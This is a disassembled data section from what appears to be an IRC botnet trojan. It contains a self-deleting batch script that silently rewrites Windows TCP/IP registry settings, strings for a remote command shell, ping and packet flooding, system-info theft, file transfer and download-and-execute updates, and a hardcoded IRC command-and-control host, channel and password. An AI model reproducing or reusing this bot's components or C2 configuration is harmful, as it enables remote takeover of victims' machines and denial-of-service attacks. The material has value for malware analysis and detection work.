db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 4
unk_42B3F8 db 2 ; DATA XREF: sub_409FB2:loc_40A083o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 10h
unk_42B440 db 2 ; DATA XREF: sub_409FB2:loc_40A051o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42B484 db 2 ; DATA XREF: sub_409FB2:loc_40A007o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 10h
unk_42B4C0 db 2 ; DATA XREF: sub_409FB2+45o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42B504 db 2 ; DATA XREF: sub_40A133+13Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42B544 db 2 ; DATA XREF: sub_40A133+6Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
dword_42B580 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A2BF+1C7o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 10h
dword_42B5C0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A2BF+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A53E+33o
align 10h
dword_42B610 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5:loc_40A6F7o
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42B654 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5+10Fo
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 10h
dword_42B690 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5:loc_40A6ABo
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 8
dword_42B6D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A71A+194o
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
dword_42B720 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A71A+14Co
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A71A+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A8CF+39o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40A9D8+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 10h
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40A9D8+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A9D8:loc_40AB3Co
align 4
word_42B864 dw 3Fh ; DATA XREF: sub_40A9D8:loc_40AADAr
; sub_40C18B+1Fo
align 4
dword_42B868 dd 28207325h, 297325h ; DATA XREF: sub_40A9D8+EBo
dword_42B870 dd 3F3F3Fh ; DATA XREF: sub_40A9D8:loc_40AA9Bo
; seg001:loc_41418Co
a2003 db '2003',0 ; DATA XREF: sub_40A9D8+BAo
; seg001:0042C544o ...
align 4
aXp db 'XP',0 ; DATA XREF: sub_40A9D8+AAo
; seg001:00414177o ...
align 10h
a2k db '2K',0 ; DATA XREF: sub_40A9D8+98o
; seg001:00414167o
align 4
aMe db 'ME',0 ; DATA XREF: sub_40A9D8+7Eo
; seg001:0041414Eo
align 4
a98 db '98',0 ; DATA XREF: sub_40A9D8+6Co
; seg001:0041413Eo
align 4
aNt db 'NT',0 ; DATA XREF: sub_40A9D8+5Ao
; seg001:0041412Eo
align 10h
a95 db '95',0 ; DATA XREF: sub_40A9D8+46o
; seg001:00414120o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40AC8C+ABo
align 4
off_42B8D4 dd offset loc_412F4E ; DATA XREF: sub_40AC8C:loc_40AD00o
dword_42B8D8 dd 4E414Ch ; DATA XREF: sub_40AC8C:loc_40ACF9o
dword_42B8DC dd 6C616944h, 70752Dh ; DATA XREF: sub_40AC8C+5Eo
dword_42B8E4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF: sub_40AC8C+48o
unk_42B8F8 db 2 ; DATA XREF: sub_40AD52:loc_40AF0Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 4
unk_42B93C db 2 ; DATA XREF: sub_40AD52:loc_40AF08o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42B97C dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AD52+1A6o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 2 dup(0)
unk_42B9B0 db 2 ; DATA XREF: sub_40AD52:loc_40AEEBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 10h
dword_42BA00 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AD52+192o
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_42BA30 dd 2A2F2Ah ; DATA XREF: sub_40AD52+3Bo
dword_42BA34 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40B000+35o
dword_42BA40 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B000+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B078+60o
align 4
dword_42BA74 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40B118+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BAAC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B18A+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_42BADC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B18A+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_42BB00 dd 80000002h ; DATA XREF: sub_40B2B9+24r
off_42BB04 dd offset aSoftwareMicr_0 ; DATA XREF: sub_40B2B9+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 42C364h, 80000001h, 42C39Ch
dword_42BB18 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+170o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 10h
dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+ABo
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42BBA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B459+47o
; sub_40B61A+FDo
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42BBDC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+362o
; sub_40B9BC+156o
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_42BC08 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+2FAo
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BC5C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+202o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42BC94 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+1CBo
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_42BCC0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40B61A+16Ao
dd 169h
dword_42BCD8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+127o
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42BD0C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+82o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42BD44 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B61A+44o
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 10h
dword_42BD80 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+1CFo
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 4
dword_42BDD8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+CBo
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42BE0C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+ABo
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_40B9BC+97o
dword_42BE50 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B9BC+83o
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 4
unk_42BE94 db 2 ; DATA XREF: sub_40BBF7+480o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 8
unk_42BED8 db 2 ; DATA XREF: sub_40BBF7+472o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
align 8
unk_42BF28 db 2 ; DATA XREF: sub_40BBF7+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_42BF7C dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_40BBF7+34Do
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40BBF7+32Bo
; sub_40CD3A+297Bo ...
align 8
unk_42BFB8 db 2 ; DATA XREF: sub_40BBF7+2D6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42C004 db 2 ; DATA XREF: sub_40BBF7+257o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 10h
unk_42C040 db 2 ; DATA XREF: sub_40BBF7+1CDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_42C088 db 2 ; DATA XREF: sub_40BBF7:loc_40BD8Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 10h
unk_42C0D0 db 2 ; DATA XREF: sub_40BBF7+191o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42C11C db 2 ; DATA XREF: sub_40BBF7+77o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40C18B:loc_40C1CEo
; sub_4134AF+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40C18B:loc_40C1C8o
aDisk db 'Disk',0 ; DATA XREF: sub_40C18B:loc_40C1C2o
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_40C18B:loc_40C1BCo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C18B:loc_40C1B6o
align 10h
aRam db 'RAM',0 ; DATA XREF: sub_40C18B:loc_40C1B0o
aFailed db 'failed',0 ; DATA XREF: sub_40C21C:loc_40C2F4o
; sub_40C337+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_40C21C+6Bo
align 8
dword_42C198 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C337+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
dword_42C1E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C337+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_1 db 'A:\',0 ; DATA XREF: sub_40C409:loc_40C44Eo
align 10h
dword_42C240 dd 1A0Bh ; DATA XREF: sub_40C574+39Er
; sub_40C574+451r
dword_42C244 dd 1B58h ; DATA XREF: sub_40C574+49Dr
dword_42C248 dd 1AA6h ; DATA XREF: sub_40CD3A:loc_4124FDr
dword_42C24C dd 0CCEh ; DATA XREF: sub_4071B6+3Br
; sub_40CD3A+4E09r
dword_42C250 dd 158Dh ; DATA XREF: sub_4071B6:loc_407465r
; sub_40CD3A:loc_411C34r
dword_42C254 dd 1 ; DATA XREF: sub_40C574+29r
dword_42C258 dd 1 ; DATA XREF: sub_40CD3A+623r
dword_42C25C dd 1 ; DATA XREF: sub_409D34+Cr
; sub_40C574:loc_40C89Er
byte_42C260 db 78h ; DATA XREF: sub_40C0D6:loc_40C0E2r
; sub_40CD3A+A99r ...
align 4
dword_42C264 dd 9 ; DATA XREF: sub_413F42+2Br
; sub_413F42+51r ...
dword_42C268 dd 1 ; DATA XREF: sub_40CA58+78r
; sub_40CD3A+26Er ...
aId999 db 'id999',0 ; DATA XREF: sub_40C574+67o
; sub_40CD3A+3C7Bo ...
align 4
aEnz999_9b db 'enz 999.9b',0 ; DATA XREF: sub_40CD3A:loc_4126FCo
align 10h
aHi db 'hi',0 ; DATA XREF: sub_40CD3A+5B32o
; sub_40CD3A+5BF5o
align 4
aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C574+389o
; sub_40C574+442o
align 4
aDd_0 db '#dd',0 ; DATA XREF: sub_40C574+3AAo
; sub_40C574+458o
aDpass db 'dpass',0 ; DATA XREF: sub_40C574+3C1o
; sub_40C574+46Ao
align 10h
byte_42C2A0 db 68h ; DATA XREF: sub_40C574:loc_40C9F4r
; sub_40C574+48Eo
db 6Fh, 6Dh, 65h
dd 6A616E2Eh, 73752E64h, 0
dword_42C2B0 dd 646423h ; DATA XREF: sub_40C574+4A4o
aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C574+4B6o
align 4
byte_42C2BC db 4Dh ; DATA XREF: sub_40282F+84o
; sub_403166+Fo ...
db 53h, 4Eh, 47h
dd 2E323352h, 6D6F63h
